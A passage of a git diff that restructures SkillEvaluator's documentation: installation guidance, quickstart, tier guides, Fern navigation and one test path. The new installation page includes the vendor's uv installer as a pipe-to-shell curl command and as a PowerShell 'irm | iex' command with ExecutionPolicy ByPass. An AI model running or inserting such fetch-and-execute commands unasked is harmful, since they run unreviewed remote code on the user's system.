the virtual environment where you installed + the package. + + + Install Git and make sure `git --version` works. The uv command above + downloads Python 3.13 automatically; the pip alternative needs an existing + Python 3.12–3.14 interpreter. + + + `skillevaluator --version` verifies the CLI installation. + Bare `health-check` checks the live-evaluation runtime, so missing Docker, + a provider, or the `tier3` extra can make it fail on a valid static-only + install. Check the prerequisites for your selected tier instead. + + + +This project downloads and installs additional third-party open source +software. Review its license terms before use. diff --git a/docs/installation.mdx b/docs/installation.mdx index 13f007b58..a0bb16c41 100644 --- a/docs/installation.mdx +++ b/docs/installation.mdx @@ -1,241 +1,93 @@ --- -title: "Installation" -description: "Install SkillEvaluator with uv, from source, or in Docker, and choose per-tier extras to keep the footprint small." +title: "Install SkillEvaluator" +sidebar-title: "Installation" +description: "One installation for Tier 1 validation, Tier 2 deduplication, and Tier 3 live agent evaluation." --- -Start with the base package for deterministic quality checks, then add only the -extras needed for your next command. No API key is needed to install or to run -deterministic Tier 1 checks. LLM-backed features use a configured provider -([Providers & Credentials](/skills/skillevaluator/configuration)); live Tier 3 evaluation adds an -agent runtime and a sandbox. +One installation for all three tiers. -For a complete first run against a bundled skill, use the -[keyless Quickstart](/skills/skillevaluator/quickstart#run-without-an-llm), or add the `llm` extra -for the [NVIDIA Build route](/skills/skillevaluator/quickstart#use-nvidia-build). Those routes use a -source checkout and `uv run`; the standalone install below is convenient when -you already have your own skill directory. +
+
-This project will download and install additional third-party open source software projects. Review the license terms of these open source projects before use. - -## Requirements - -- [uv](https://docs.astral.sh/uv/getting-started/installation/) for the recommended install paths (plain pip works too — see the source tab below). -- Python 3.12, 3.13, or 3.14. `uv tool install`, `uv run`, and `uv sync` provision a supported interpreter automatically when passed `--python 3.13` (or `--python 3.14`); only the plain-pip path needs one on PATH. -- Git for installs from the repository and for the bundled-example checkout. -- Docker, only for the container install and Tier 3 Docker-mode evaluation. -- No API key is needed for deterministic Tier 1 checks. The base package - includes Bandit and the uv executable; Tier 1 provisions SkillSpector and - Gitleaks itself, and Semgrep is optional (see [System tools](#system-tools)). LLM-backed checks and Tiers 2–3 use a configured provider — see - [Providers & Credentials](/skills/skillevaluator/configuration). - -## Install - - - - -Install the base package as a standalone tool — uv provisions Python 3.13 for you: - -```bash title="Install the base package" -uv tool install --python 3.13 "skillevaluator @ git+https://github.com/NVIDIA/SkillEvaluator.git" -skillevaluator quality-check ./my-skill -``` - -Replace `./my-skill` with a directory containing a `SKILL.md`. This quality -check needs no API key, Docker, or security scanner. Full static scanner -coverage has separate requirements under [System tools](#system-tools). - -Add the `llm` extra when you want to make your first rubric-evaluation call: - -```bash title="Add LLM support" -uv tool install --python 3.13 --reinstall "skillevaluator[llm] @ git+https://github.com/NVIDIA/SkillEvaluator.git" -``` - -Then follow the [NVIDIA Build setup](/skills/skillevaluator/quickstart#use-nvidia-build), using -`skillevaluator rubric-eval ./my-skill` for a standalone installation. Provider -clients install with the extra; an API key is still required for the model call. - -For other features, select their extras or use the optional evaluation bundle: - -```bash title="Install with selected extras" -uv tool install --python 3.13 --reinstall "skillevaluator[security] @ git+https://github.com/NVIDIA/SkillEvaluator.git" -uv tool install --python 3.13 --reinstall "skillevaluator[tier2,tier3] @ git+https://github.com/NVIDIA/SkillEvaluator.git" -uv tool install --python 3.13 --reinstall "skillevaluator[all] @ git+https://github.com/NVIDIA/SkillEvaluator.git" -``` - -These are alternatives: include all the extras you need in the chosen command. -`all` includes `tier2`, `tier3`, and `security`; it excludes the optional -`dashboard` extra and external tools. - -To pick up the latest commit later, rerun the install with `--reinstall`, -keeping your chosen extras. Choose the command matching your install: - -```bash title="Upgrade to the latest commit" -uv tool install --python 3.13 --reinstall "skillevaluator @ git+https://github.com/NVIDIA/SkillEvaluator.git" -uv tool install --python 3.13 --reinstall "skillevaluator[llm] @ git+https://github.com/NVIDIA/SkillEvaluator.git" -``` - -Then confirm the command resolves: - -```bash title="Verify" -skillevaluator --version -``` - - - - -The [Quickstart](/skills/skillevaluator/quickstart) uses `uv run --python 3.13` for the base quality -check and adds `--extra llm` for the NVIDIA Build rubric call. This installs -only the dependencies needed for each route. - -For development or an editable environment with every Python extra, -clone the repository and let uv create the environment from the committed lockfile: - -```bash title="Clone and sync" -git clone https://github.com/NVIDIA/SkillEvaluator.git -cd SkillEvaluator -uv sync --python 3.13 --all-extras +```bash title="Install SkillEvaluator" +uv tool install --python 3.13 "skillevaluator[all] @ git+https://github.com/NVIDIA/SkillEvaluator.git" ``` -Or with plain pip. This path needs Python 3.12, 3.13, or 3.14 on PATH. Create and activate a virtual environment before installing, including on Homebrew-managed Python. If your system `python3` is newer than 3.14, use `python3.13 -m venv .venv` instead, or prefer the `uv sync` path above, which provisions a supported Python automatically: +
-```bash title="Editable install with pip" -python3 -m venv .venv -source .venv/bin/activate -python -m pip install -e ".[all]" -``` - -Editable extras work the same way as the one-liner: - -```bash title="Editable install with selected extras" -python -m pip install -e . -python -m pip install -e ".[security]" -python -m pip install -e ".[all,dev]" -``` - -Then confirm the command resolves inside the environment: - -```bash title="Verify" -uv run skillevaluator --version # uv sync path -skillevaluator --version # inside the activated pip venv -``` +Requires **uv and Git**. uv sets up Python 3.13 automatically. This installs +the current GitHub source with all evaluation dependencies. - - +
+
+
-The repository ships a [Dockerfile](https://github.com/NVIDIA/SkillEvaluator/blob/main/Dockerfile) that installs the evaluation bundle (`[all]`, excluding the optional dashboard). Run the following from a repository checkout to build the image locally and run a deterministic validation against the included sample skill: +
-```bash title="Build and run" -docker build -t skillevaluator:local . -docker run --rm skillevaluator:local --version -docker run --rm \ - -v "$PWD/tests/fixtures/skills/simple:/workspace/skills/simple:ro" \ - skillevaluator:local validate /workspace/skills/simple --no-llm --tiers 1 -``` - -The image runs as the unprivileged `skillevaluator` user (UID 10001). Its home -and `/app/reports` directory are writable, so default reports can be created -without root. Input bind mounts can remain read-only. - -To save reports to a host directory on Linux, create that directory first and -run with its owner's UID and GID. Docker's `--user` override preserves access to -host-owned output paths without changing their permissions: - -```bash -mkdir -p reports -docker run --rm \ - --user "$(id -u):$(id -g)" \ - -e HOME=/tmp \ - -v "$PWD/tests/fixtures/skills/simple:/workspace/skills/simple:ro" \ - -v "$PWD/reports:/output" \ - skillevaluator:local validate /workspace/skills/simple --no-llm --tiers 1 -o /output -``` - -The UID override also uses `/tmp` as a writable home for per-user caches. Provider -credentials and access to external sandbox services still need to be configured -for the selected runtime user. + + Run the command for your operating system, then open a new terminal. -The image does not bundle the SkillSpector or Gitleaks executables. Tier 1 downloads the pinned releases on first run, so the container needs network access to GitHub and PyPI, and each new container downloads them again. Without that access their required scanner evidence is incomplete and `validate` exits non-zero — the other checks still run and the report is still produced (see [Troubleshooting](#troubleshooting)). Semgrep is optional and not in the image. Tier 3 still requires credentials for the selected provider and agent at runtime — pass them into the container as environment variables when you get there. + + - - + ```bash title="Install uv" + curl -LsSf https://astral.sh/uv/install.sh | sh + ``` -## Choosing extras + + -The base package completes the schema, PII, license, quality, Unicode, script-lint, and hygiene checks on its own. `quality-check` needs no scanner setup. When you run the full static suite, the base package also runs Bandit, and scanner-backed checks report INCOMPLETE until the required external scanners are available (see [System tools](#system-tools)). Running without an LLM or API key does not remove those scanner requirements. Everything else lives behind an extra: - -[Harbor](https://github.com/harbor-framework/harbor) is the open-source agent -evaluation framework that the `tier3` extra installs for live task execution -and environment backends. - -| Extra | What it unlocks | -| --- | --- | -| `llm` | Shared LLM and embedding clients used by LLM-backed checks, Tier 2, and Tier 3 | -| `tier2` | Intra-skill deduplication and local-catalog inter-skill similarity; includes `llm` | -| `tier3` | Docker, local, and cloud live-agent evaluation through Harbor (pins `harbor==0.25.0` and requires `python-dotenv>=1.2.0`); includes `llm` | -| `security` | pip-audit, for the opt-in dependency audit (Bandit is in the base package) | -| `all` | `tier2`, `tier3`, and `security` in one bundle | -| `dashboard` | Local Streamlit tables for comparing saved reports and retained runs (`skillevaluator dashboard`); not included in `all` | -| `dev` | Build, test, coverage, and formatting tools for contributors | + ```powershell title="Install uv in PowerShell" + powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex" + ``` - -`[all]` installs the evaluator extras (`tier2`, `tier3`, `security`); add `dashboard` with `[all,dashboard]`. External scanner tools, Docker, agent CLIs, and the Harbor extras for managed sandbox backends (such as `harbor[modal]==0.25.0`) stay separate no matter which extra you pick — see [Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes#where-trials-run). - + + -## System tools - - -Tier 1 provisions the external security scanners in their own environments, so their dependency stacks do not constrain the SkillEvaluator distribution: - -- **SkillSpector:** when no executable is found, Tier 1 downloads the 2.13.4 release wheel once into the SkillEvaluator runtime folder, verifies its SHA-256 checksum, and runs it with `uv tool run`. uv is installed with SkillEvaluator as a base dependency, so a plain `pip install` needs nothing else; a uv already on `PATH` is used first. The first run needs network access (GitHub and PyPI); later runs use the uv cache. -- **Semgrep:** optional. When it is installed, Code Risk Analysis adds its rules to Bandit; when it is not, the check notes it was skipped. Set `SKILLEVALUATOR_REQUIRE_SEMGREP=1` to report a missing Semgrep as `INCOMPLETE` (the Tier 1 CI image does). -- **Gitleaks:** on first use, SkillEvaluator downloads the pinned 8.30.0 release into its runtime folder and verifies its SHA-256 checksum. There is no prompt, so CI runs install it too. Linux and macOS only. - -Installed executables take precedence. To use your own, put them on `PATH` or set `SKILLEVALUATOR_SEMGREP_PATH` and `SKILLEVALUATOR_SKILLSPECTOR_PATH`: - -```bash title="Optional: preinstall the scanners" -uv tool install semgrep -uv tool install git+https://github.com/NVIDIA/SkillSpector.git@v2.13.4 -brew install gitleaks # or a binary from https://github.com/gitleaks/gitleaks/releases -``` - -Docker is required only for Tier 3 Docker-mode evaluation. Agent CLIs and their credentials are user-supplied — see [Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes). - -`skillevaluator health-check --tier 1` reports the path and version of each installed scanner and exits non-zero when one is missing, misconfigured, or older than the supported release. Add `--checks security,code-integrity,dependency` to include pip-audit. - + See [uv's installation guide](https://docs.astral.sh/uv/getting-started/installation/) + for other package managers. Install Git too if `git --version` is unavailable. + -SkillSpector 2.13.4 can report JSON files containing a `timeout` key as partial -analysis. SkillEvaluator keeps these scans incomplete; inspect the scanner -diagnostics before treating the skill as validated. +
## Verify your install -Two commands tell you whether the install landed: - -```bash title="Smoke test" +```bash title="Check the CLI" skillevaluator --version -skillevaluator health-check ``` -`--version` confirms the CLI is on PATH — that is the whole smoke test for a Tier 1-only install. `health-check` goes one step further: a quick readiness check of the CLI and the selected live-eval backend (the agent follows the configured provider; the environment defaults to `docker`), useful once you plan to run Tier 3. On an install without the `tier3` extra or a configured provider it lists the missing pieces and exits non-zero — expected for a Tier 1-only setup, not a broken install. For a deeper diagnosis, `doctor` covers the same ground; add `doctor --verify-models` to make a live credential-bearing catalog request for each resolved agent model. A public or otherwise non-authoritative result is reported as a warning because catalog access alone does not prove inference access. See the [CLI Reference](/skills/skillevaluator/cli-reference) for both commands. +You should see a version number. If the command is not found, run +`uv tool update-shell` and open a new terminal. -## Troubleshooting +
- - -uv installs tools to `~/.local/bin`, which may not be on PATH yet. Run `uv tool update-shell` and open a new terminal. - - -A required scanner could not run. Check that GitHub and PyPI are reachable (SkillSpector), or that GitHub is reachable for the Gitleaks download, or install the scanner named in the report. Missing required evidence leaves validation `INCOMPLETE` and non-zero. To run without that scanner, pass `--skip` with the check named in the fix list (e.g. `--skip secrets`); the check is then reported as skipped and the run cannot certify Tier 1. - - - -## Next steps - - - - Check a bundled skill without an LLM, or use NVIDIA Build for a rubric review. - - - Wire up an LLM provider for Tier 2, Tier 3, and LLM-backed checks. - - +## Choose an evaluation + +| Guide | What you need next | +| --- | --- | +| [Tier 1: Validation](/skills/skillevaluator/tier1-validation) | A skill folder. Static checks need no API key. | +| [Tier 1: Harness Check](/skills/skillevaluator/harness-check) | A skill folder. No API key or agent run. | +| [Tier 2: Deduplication](/skills/skillevaluator/tier2-deduplication) | A provider for embeddings and model analysis. | +| [Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation) | A model API key and Docker. | + +Need an example skill? Start with the [quickstart](/skills/skillevaluator/quickstart). + +
+ +
+
+
+
+
+ +**More options:** [Upgrade](/skills/skillevaluator/installation-options#upgrade), +[pip or Docker](/skills/skillevaluator/installation-options#other-installation-methods), +[smaller installs](/skills/skillevaluator/installation-options#choosing-extras), +[security scanners](/skills/skillevaluator/installation-options#system-tools), +or [troubleshooting](/skills/skillevaluator/installation-options#troubleshooting). + +
+
+
+
+
diff --git a/docs/metrics-reference.mdx b/docs/metrics-reference.mdx index e296986d4..8f4a192a2 100644 --- a/docs/metrics-reference.mdx +++ b/docs/metrics-reference.mdx @@ -697,7 +697,7 @@ beside the point estimate. ## Next steps -- [Tier 3: Live Evaluation](/skills/skillevaluator/tier3-live-evaluation) — how a run +- [Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation) — how a run is configured and what the verifier grades - [Reports & Results](/skills/skillevaluator/reports) — every file a run writes and how to read it diff --git a/docs/performance-dashboard.mdx b/docs/performance-dashboard.mdx index 2a51ea6a7..c8b9b9248 100644 --- a/docs/performance-dashboard.mdx +++ b/docs/performance-dashboard.mdx @@ -9,11 +9,11 @@ measurements remain unavailable. ## Start the dashboard -Install the optional Python dashboard and open saved JSON reports or individual -retained Tier 3 run directories: +Add `[all,dashboard]` using the +[installation guide](/skills/skillevaluator/installation-options#choosing-extras), then +open saved JSON reports or individual retained Tier 3 run directories: ```bash -uv tool install --python 3.13 --reinstall "skillevaluator[all,dashboard] @ git+https://github.com/NVIDIA/SkillEvaluator.git" skillevaluator dashboard reports/run-a.json reports/run-b.json skillevaluator dashboard ./my-skill/evals/results/ # Start with an empty dashboard and upload several JSON reports in the browser: diff --git a/docs/quickstart.mdx b/docs/quickstart.mdx index 2fd8b2b6f..a293dad21 100644 --- a/docs/quickstart.mdx +++ b/docs/quickstart.mdx @@ -4,9 +4,9 @@ sidebar-title: "Quickstart" description: "Get a bundled skill, run a quality check, and read the saved result. No API key required." --- -Get a quality score and findings for a complete example skill. You'll need -**Git** and [**uv**](https://docs.astral.sh/uv/getting-started/installation/). -No API key, GPU, or Docker required. +Get a quality score and findings for a complete example skill. +[Install SkillEvaluator](/skills/skillevaluator/installation#install) first, +then return here. This check needs no API key, GPU, or Docker. @@ -23,13 +23,12 @@ Keep this terminal open for the following commands. ### Run without an LLM ```bash title="Score the bundled skill" -uv run --python 3.13 skillevaluator quality-check \ +skillevaluator quality-check \ src/skillevaluator/tier3/reference_skills/text-analyzer \ -r cli -r json -o reports/first-quality ``` -uv installs Python and the required packages on the first run. -The check itself runs offline. +The check runs offline with your installed CLI. ### Read your result @@ -54,7 +53,7 @@ Replace the sample path with the directory containing your `SKILL.md`. Keep the report output outside that directory: ```bash title="Run from the same checkout" -uv run --python 3.13 skillevaluator quality-check ./my-skill \ +skillevaluator quality-check ./my-skill \ -r cli -r json -o reports/my-skill-quality ``` @@ -74,7 +73,7 @@ Want model feedback on the instructions? Add a rubric review for the same skill. ```bash title="Add model-backed feedback" export SKILL_EVAL_LLM_PROVIDER=nv_build export NVIDIA_API_KEY='nvapi-...' - uv run --python 3.13 --extra llm skillevaluator rubric-eval \ + skillevaluator rubric-eval \ src/skillevaluator/tier3/reference_skills/text-analyzer \ -r cli -r json -o reports/first-build ``` @@ -84,6 +83,8 @@ Want model feedback on the instructions? Add a rubric review for the same skill. Scores can vary between calls. This reviews the instructions; it does not run an agent with the skill. No local GPU or Docker is needed. + The recommended installation includes model support. If you chose the base + package, add `llm` using the [installation guide](/skills/skillevaluator/installation-options#choosing-extras). For other providers or model overrides, see [Providers & Credentials](/skills/skillevaluator/configuration).
@@ -97,8 +98,8 @@ Want model feedback on the instructions? Add a rubric review for the same skill. Start with a GitHub or GitLab CI template. - - Set up Semgrep, SkillSpector, and Gitleaks for the security checks, then run Tier 1. + + Check scanner setup for Semgrep, SkillSpector, and Gitleaks, then run Tier 1. Change the example, introduce a regression, and compare real outputs. diff --git a/docs/reports.mdx b/docs/reports.mdx index 249ae146e..5c4864eba 100644 --- a/docs/reports.mdx +++ b/docs/reports.mdx @@ -1865,7 +1865,7 @@ Exit codes and a ready-made JSON gating recipe live in Turn the JSON report and exit codes into a merge gate, with a copy-paste GitHub Actions workflow. - + Run the evaluation that produces the results tree on this page. diff --git a/docs/starter-demo.mdx b/docs/starter-demo.mdx index e8da5ece2..0dd8598b8 100644 --- a/docs/starter-demo.mdx +++ b/docs/starter-demo.mdx @@ -169,7 +169,7 @@ self-checks are not a substitute for feedback from a first-time human user. | Output directory already exists | Keep it as evidence; use a new `--output` path. Nothing is overwritten. | | A checked score or report field differs | Read the retained JSON/text, confirm `receipt.json` if present and the installed version; do not blindly update expectations. A failed demo does not write a success receipt. | | Analysis count differs | Check file contents, encoding and newlines; the input is UTF-8 plain text with a final newline. | -| Scanner or sandbox is missing | The keyless demo does not need either. Follow [scanner setup](/skills/skillevaluator/installation#system-tools) or [agent setup](/skills/skillevaluator/agents-and-sandboxes) before adding those stages. | +| Scanner or sandbox is missing | The keyless demo does not need either. Follow [scanner setup](/skills/skillevaluator/installation-options#system-tools) or [agent setup](/skills/skillevaluator/agents-and-sandboxes) before adding those stages. | | Template reference asks you to sign in | Use the [public template reference](https://github.com/NVIDIA/SkillEvaluator/blob/main/ci/templates/README.md) and [versioned bundles](https://github.com/NVIDIA/SkillEvaluator/tree/main/ci/bundles/0.8.0), not a private mirror. Check bundle files against `SHA256SUMS.txt`. | The public template reference and versioned downloadable bundles were consolidated diff --git a/docs/tier1-validation.mdx b/docs/tier1-validation.mdx index 653c639a4..32af47734 100644 --- a/docs/tier1-validation.mdx +++ b/docs/tier1-validation.mdx @@ -1,11 +1,12 @@ --- -title: "Tier 1: Static and Security Validation" +title: "Tier 1: Validation" sidebar-title: "Tier 1: Validation" description: "Deterministic quality gates for skills — schema, quality, security, PII, license, code-integrity, Unicode, and script checks, plus optional LLM judging." --- Run Tier 1 directly to check a skill's structure, security, quality, and -dependencies: +dependencies. First, [install SkillEvaluator](/skills/skillevaluator/installation#install), +then run: ```bash title="Run Tier 1" skillevaluator tier1 ./my-skill @@ -15,8 +16,8 @@ Static checks need no model key. With a configured provider, this command also runs rubric judging, LLM security analysis, and finding verification. Without a provider, those LLM stages are explicitly reported as skipped. Use `--no-llm` for static checks only, or `--llm` to require a provider instead of allowing a -keyless run. Full scanner coverage still requires the external tools listed in -[Installation](/skills/skillevaluator/installation#system-tools). +keyless run. See [scanner setup](/skills/skillevaluator/installation-options#system-tools) +for first-run downloads and optional tools. The two-variable [provider setup](/skills/skillevaluator/configuration) is enough to configure the LLM stages for NVIDIA Build or OpenAI. Calling `skillevaluator tier1` without a @@ -68,19 +69,19 @@ for skills. Its Tier 1 LLM checks still run only when requested. skillevaluator validate ./my-skill ``` - By default you get a compact pipeline view in the terminal — a per-check ticker per tier — and the run writes HTML and JSON report files unless you pass `-r` explicitly, which is then honored exactly (including `-r cli` for terminal-only output). Add `--verbose` for the full per-check detail stream instead of the compact view. The full pipeline needs the [provider and runtime setup](/skills/skillevaluator/quickstart); use `--tiers 1` for static checks only. The exit code is `0` when every gate passes and `1` when one fails. + By default you get a compact pipeline view in the terminal — a per-check ticker per tier — and the run writes HTML and JSON report files unless you pass `-r` explicitly, which is then honored exactly (including `-r cli` for terminal-only output). Add `--verbose` for the full per-check detail stream instead of the compact view. The full pipeline needs the [provider and runtime setup](/skills/skillevaluator/tier3-live-evaluation#before-you-start); use `--tiers 1` for static checks only. The exit code is `0` when every gate passes and `1` when one fails. - ### Run the complete offline gate + ### Run static checks only - Install the scanners, then select only Tier 1 for a fully hermetic run: + Select only Tier 1 to run the static checks without model calls: - ```bash title="Complete offline Tier 1" - brew install gitleaks semgrep - uv tool install git+https://github.com/NVIDIA/SkillSpector.git@v2.13.4 + ```bash title="Static Tier 1" skillevaluator validate ./my-skill --tiers 1 ``` - With Semgrep, SkillSpector, and Gitleaks installed, every required scanner produces evidence and the run is deterministic — the same input yields the same exit code, with nothing leaving your machine. Run `skillevaluator doctor --tier 1` first to confirm that each scanner resolves and reports a supported version. + Tier 1 can download required scanners on first use. For an offline environment, + prepare them using [Installation: System tools](/skills/skillevaluator/installation-options#system-tools). + Run `skillevaluator doctor --tier 1` to check the scanners' paths and supported versions. ### Narrow to specific checks @@ -447,7 +448,7 @@ For `validate`, the default set is `schema`, `version`, `security`, `pii`, `lice Default Tier 1 does not import or execute target-controlled Python code. The `test_discovery` result is filename evidence only: it counts regular, in-tree, non-symlink `test_*.py` and `*_test.py` candidates without parsing or importing them. It reports `execution_performed=false` and `coverage_measured=false`; test success and code coverage must be established separately in a trusted project environment or an explicit sandbox. - A missing, timed-out, crashed, or malformed Bandit, Semgrep, Gitleaks, or SkillSpector run is treated as `INCOMPLETE`: terminal and saved reports are non-green and `validate` exits non-zero. When Semgrep runs but cannot fully parse some files (for example a shell or JavaScript file with syntax Semgrep's parser rejects), the check stays `INCOMPLETE` because Semgrep skips the code it cannot parse, so findings there are missed. The report names up to 20 of those files, relative to the skill and with the line of the first error, keeps Semgrep's findings for the other files, and lists them in the `semgrep_unparsed_files` field of the JSON report, up to 1,000 files; `semgrep_unparsed_files_omitted` counts any beyond that. Fix the syntax error, or check whether it comes from Semgrep's parser or its rule configuration. See [Scanner setup](#scanner-setup) for installation. + A missing required scanner, or a timed-out, crashed, or malformed Bandit, Semgrep, Gitleaks, or SkillSpector run, is treated as `INCOMPLETE`: terminal and saved reports are non-green and `validate` exits non-zero. When Semgrep runs but cannot fully parse some files (for example a shell or JavaScript file with syntax Semgrep's parser rejects), the check stays `INCOMPLETE` because Semgrep skips the code it cannot parse, so findings there are missed. The report names up to 20 of those files, relative to the skill and with the line of the first error, keeps Semgrep's findings for the other files, and lists them in the `semgrep_unparsed_files` field of the JSON report, up to 1,000 files; `semgrep_unparsed_files_omitted` counts any beyond that. Fix the syntax error, or check whether it comes from Semgrep's parser or its rule configuration. See [Scanner setup](#scanner-setup) for installation. @@ -757,7 +758,11 @@ The command line rejects a malformed waiver file before the run starts, with exi ## Scanner setup -Bandit installs with SkillEvaluator; install `skillevaluator[security]` for pip-audit, which the opt-in dependency audit uses. Install Semgrep and SkillSpector in separate tool environments, and install Gitleaks separately — it is a Go binary, not a pip package. See [Installation](/skills/skillevaluator/installation) for commands and the extras table. +Bandit installs with SkillEvaluator. Tier 1 provisions SkillSpector and, on +Linux and macOS, Gitleaks when they are missing; the first run needs network +access. Semgrep is optional unless `SKILLEVALUATOR_REQUIRE_SEMGREP=1` is set. +See the [installation guide](/skills/skillevaluator/installation-options#system-tools) +for scanner setup, offline preparation, and the optional dependency-audit extra. Semgrep uses a policy packaged with the installed distribution, with metrics and version checks disabled; Tier 1 never fetches a registry policy at runtime. The other public Tier 1 configuration also ships inside the package under `skillevaluator/config/`: `pii_patterns.yaml`, `unicode_smuggle_patterns.yaml`, `license_config.yaml`, and `profiles/default.yaml`. @@ -854,13 +859,19 @@ Tier 1 checks always gate the exit code inside `validate`. Tier 2 gates when it turn an incomplete scan into a pass. - Install it with `brew install gitleaks` or download a binary from the official [Gitleaks releases](https://github.com/gitleaks/gitleaks/releases). + On Linux and macOS, SkillEvaluator downloads Gitleaks on first use. If that + download cannot complete, follow [scanner setup](/skills/skillevaluator/installation-options#system-tools) + to prepare it for your environment. - Bandit installs with SkillEvaluator; reinstall it if Bandit is missing. Install pip-audit with `skillevaluator[security]`. Install Semgrep separately with `brew install semgrep` or `uv tool install semgrep`, and SkillSpector with `uv tool install git+https://github.com/NVIDIA/SkillSpector.git@v2.13.4`. Required scanner failures remain `INCOMPLETE` until the scanner is installed and returns valid evidence. `skillevaluator doctor --tier 1` lists every scanner the selected checks need, with its resolved path and version. + Run `skillevaluator doctor --tier 1` to identify the scanner and its resolved + path or version, then follow [scanner setup](/skills/skillevaluator/installation-options#system-tools). + Required scanner failures remain `INCOMPLETE` until the scanner returns + valid evidence. Missing optional Semgrep is reported as skipped unless + `SKILLEVALUATOR_REQUIRE_SEMGREP=1` is set. - SkillSpector releases before v2.13.1 can stop inspecting a valid Python or Perl helper early and record a `static_parse_limit`, `obfuscated_instruction_text`, or `runtime_limit` ledger exception. The security check is then `INCOMPLETE`, often with a High **Incomplete referenced artifact analysis (AE1)** finding at each line that names the helper. The finding's suggestion names the helper and the reason, such as `static_parse_limit (static_patterns_tool_misuse)`. Check the installed release with `skillspector --version` and upgrade with `uv tool install git+https://github.com/NVIDIA/SkillSpector.git@v2.13.4`. If the exception remains after the upgrade, investigate it like any other incomplete scan. + SkillSpector releases before v2.13.1 can stop inspecting a valid Python or Perl helper early and record a `static_parse_limit`, `obfuscated_instruction_text`, or `runtime_limit` ledger exception. The security check is then `INCOMPLETE`, often with a High **Incomplete referenced artifact analysis (AE1)** finding at each line that names the helper. The finding's suggestion names the helper and the reason, such as `static_parse_limit (static_patterns_tool_misuse)`. Check the resolved release with `skillevaluator doctor --tier 1` and follow [scanner setup](/skills/skillevaluator/installation-options#system-tools) to update an older installation. If the exception remains after the upgrade, investigate it like any other incomplete scan. With SkillSpector v2.12.0 and later, a skill, folder or hooks-only plugin diff --git a/docs/tier2-deduplication.mdx b/docs/tier2-deduplication.mdx index a15f6fae4..f1374f0c5 100644 --- a/docs/tier2-deduplication.mdx +++ b/docs/tier2-deduplication.mdx @@ -1,12 +1,14 @@ --- -title: "Tier 2: Semantic Deduplication" +title: "Tier 2: Deduplication" sidebar-title: "Tier 2: Deduplication" description: "Detect redundant content within one skill and overlapping skills across a collection using embedding similarity." --- Tier 2 finds redundant content — inside a single skill and across a skill collection — using embedding similarity, with chat-LLM verification for -intra-skill candidates. It needs a configured embeddings provider; intra-skill +intra-skill candidates. First, [install SkillEvaluator](/skills/skillevaluator/installation#install). + +Tier 2 needs a configured embeddings provider; intra-skill analysis also needs a chat LLM. See [Providers & Credentials](/skills/skillevaluator/configuration) to set both up, including the [fully local recipe](/skills/skillevaluator/configuration#fully-local-setup) when skill content @@ -655,7 +657,7 @@ handling terms before sending confidential skill content to a hosted endpoint. ## Next steps - + Prove the skill changes agent behavior with a live A/B evaluation. diff --git a/docs/tier3-live-evaluation.mdx b/docs/tier3-live-evaluation.mdx index 44e413c04..2126cd5b8 100644 --- a/docs/tier3-live-evaluation.mdx +++ b/docs/tier3-live-evaluation.mdx @@ -1,15 +1,22 @@ --- -title: "Run a Live Evaluation" -sidebar-title: "Tier 3: First run" +title: "Tier 3: Live Agent Evaluation" +sidebar-title: "Tier 3: Live Agent Evaluation" description: "Connect a model, run an agent with and without your skill, and open the comparison report." --- Does your skill help an agent complete a task? Run the same tasks **with and without your skill**, then open a report showing the difference: **Skill Lift**. +
+ +First, [install SkillEvaluator](/skills/skillevaluator/installation#install), +then return here to connect your model and run the comparison. + +
+ - Install the CLI and connect one model provider. + Connect one model provider and check readiness. Start a comparison in Docker. @@ -21,22 +28,12 @@ without your skill**, then open a report showing the difference: **Skill Lift**. ## Before you start -You need [uv](https://docs.astral.sh/uv/getting-started/installation/), Git, -Docker running, a model API key, and a skill folder containing `SKILL.md`. +Have Docker running, a model API key, and a skill folder containing `SKILL.md`. Replace `./my-skill` below with that folder. New to skills? Try the [bundled keyless example](/skills/skillevaluator/quickstart) first. -### Install live evaluation support - -```bash title="Install the CLI with the Tier 3 extra" -uv tool install --python 3.13 "skillevaluator[tier3] @ git+https://github.com/NVIDIA/SkillEvaluator.git" -``` - -Already installed? Add `--reinstall` to refresh it with the `tier3` extra. -[Other installation options](/skills/skillevaluator/installation#install). - ### Connect a model Choose one provider. Run its exports in the same terminal as the evaluation. diff --git a/fern/docs.yml b/fern/docs.yml index 6577e498e..37fba0980 100644 --- a/fern/docs.yml +++ b/fern/docs.yml @@ -29,12 +29,12 @@ navigation: - section: Get Started skip-slug: true contents: + - page: Installation + path: ../docs/installation.mdx + slug: installation - page: Quickstart path: ../docs/quickstart.mdx slug: quickstart - - page: "Tier 3: First Run" - path: ../docs/tier3-live-evaluation.mdx - slug: tier3-live-evaluation - page: Repository Integration path: ../docs/repository-integration.mdx slug: repository-integration @@ -44,9 +44,6 @@ navigation: - section: Set Up skip-slug: true contents: - - page: Installation - path: ../docs/installation.mdx - slug: installation - page: Providers & Credentials path: ../docs/configuration.mdx slug: configuration @@ -59,12 +56,15 @@ navigation: - page: "Tier 1: Validation" path: ../docs/tier1-validation.mdx slug: tier1-validation - - page: Harness Check + - page: "Tier 1: Harness Check" path: ../docs/harness-check.mdx slug: harness-check - page: "Tier 2: Deduplication" path: ../docs/tier2-deduplication.mdx slug: tier2-deduplication + - page: "Tier 3: Live Agent Evaluation" + path: ../docs/tier3-live-evaluation.mdx + slug: tier3-live-evaluation - page: Grader Validation path: ../docs/grader-validation.mdx slug: grader-validation @@ -110,6 +110,9 @@ navigation: - section: Reference skip-slug: true contents: + - page: Installation Options + path: ../docs/installation-options.mdx + slug: installation-options - section: Live Evaluation skip-slug: true contents: diff --git a/tests/test_oss_packaging.py b/tests/test_oss_packaging.py index b0eca64ef..8d2e9b4b3 100644 --- a/tests/test_oss_packaging.py +++ b/tests/test_oss_packaging.py @@ -464,7 +464,7 @@ def test_uv_is_a_base_dependency_so_plain_pip_can_provision_skillspector() -> No uv_requirements = [requirement for requirement in dependencies if canonicalize_name(requirement.name) == "uv"] lock_names = {package["name"] for package in _lock()["package"]} notices = (REPO_ROOT / "THIRD_PARTY_NOTICES.md").read_text(encoding="utf-8") - installation = (REPO_ROOT / "docs" / "installation.mdx").read_text(encoding="utf-8") + installation = (REPO_ROOT / "docs" / "installation-options.mdx").read_text(encoding="utf-8") assert len(uv_requirements) == 1 assert str(uv_requirements[0].specifier) == ">=0.11.27" @@ -1023,7 +1023,7 @@ def 